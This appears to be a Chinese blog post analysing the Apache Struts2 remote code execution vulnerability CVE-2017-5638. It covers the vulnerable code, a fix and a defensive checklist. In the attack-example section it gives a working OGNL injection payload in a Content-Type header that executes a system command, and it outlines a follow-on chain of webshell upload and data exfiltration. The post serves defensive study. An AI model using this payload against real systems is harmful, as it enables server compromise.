Apache Struts2 漏洞(CVE-2017-5638)技术分析

一、漏洞简介

CVE-2017-5638 是 Apache Struts2 中的一个远程命令执行漏洞,攻击者可以通过构造特定的 HTTP 请求头,利用Struts的 OGNL 表达式解析机制,在服务器端执行任意代码。

二、漏洞触发场景

漏洞存在于 Struts2 的 Jakarta Multipart Parser 组件中,当服务器解析 HTTP 请求时,会对某些请求头进行OGNL解析,例如 Content-Type 请求头。

漏洞关键代码

java 复制代码
LocalizedMessage buildErrorMessage(Throwable e, Object[] args) {
    String errorKey = "struts.messages.upload.error." + e.getClass().getSimpleName();
    return new LocalizedMessage(this.getClass(), errorKey, args);
}

上述过程中,Struts2 会尝试使用 OGNL 解析 errorKey,攻击者若插入恶意OGNL代码即可执行。

三、攻击示例分析

攻击者发送恶意 HTTP 请求:

http 复制代码
POST /upload.action HTTP/1.1
Host: vulnerable-server
Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(@java.lang.Runtime@getRuntime().exec('whoami'))}

Payload核心解释

  • %{}: OGNL表达式标记。
  • 绕过安全限制并执行Java运行时命令。

四、实际攻击链路

  1. 构造恶意请求远程执行命令。
  2. 上传WebShell,持续控制服务器。
  3. 横向移动获取更多权限。
  4. 数据外传与泄露。

五、漏洞修复方案

修复代码示例:

java 复制代码
String errorKey = "struts.messages.upload.error." + StringEscapeUtils.escapeJava(e.getClass().getSimpleName());

修复措施原理:避免OGNL解析,采用字符串转义。

六、关键反思

  • 漏洞管理流程需及时。
  • 权限控制必须合理。
  • 安全监控系统需正常运作。

七、企业安全建议 checklist

事项 实施情况(✅/❌)
定期检查第三方库版本与漏洞更新
使用自动化工具追踪漏洞
落实WAF规则过滤常见攻击
严格实施最小权限原则
定期安全培训与演练
静态代码分析(SAST) 库博静态代码分析工具
相关推荐
YuTaoShao几秒前
【LeetCode 热题 100】131. 分割回文串——回溯
java·算法·leetcode·深度优先
源码_V_saaskw23 分钟前
JAVA图文短视频交友+自营商城系统源码支持小程序+Android+IOS+H5
java·微信小程序·小程序·uni-app·音视频·交友
超浪的晨33 分钟前
Java UDP 通信详解:从基础到实战,彻底掌握无连接网络编程
java·开发语言·后端·学习·个人开发
终焉暴龙王36 分钟前
CTFHub web进阶 php Bypass disable_function通关攻略
开发语言·安全·web安全·php
双力臂4041 小时前
Spring Boot 单元测试进阶:JUnit5 + Mock测试与切片测试实战及覆盖率报告生成
java·spring boot·后端·单元测试
Edingbrugh.南空1 小时前
Aerospike与Redis深度对比:从架构到性能的全方位解析
java·开发语言·spring
自由鬼2 小时前
Apache HTTP Server 2.4.49 的目录遍历漏洞CVE-2021-41773
网络协议·http·apache
lang201509282 小时前
Apache Ignite 索引(Indexes)定义和使用
apache·ignite
百川2 小时前
Apache文件解析漏洞
web安全·apache
QQ_4376643142 小时前
C++11 右值引用 Lambda 表达式
java·开发语言·c++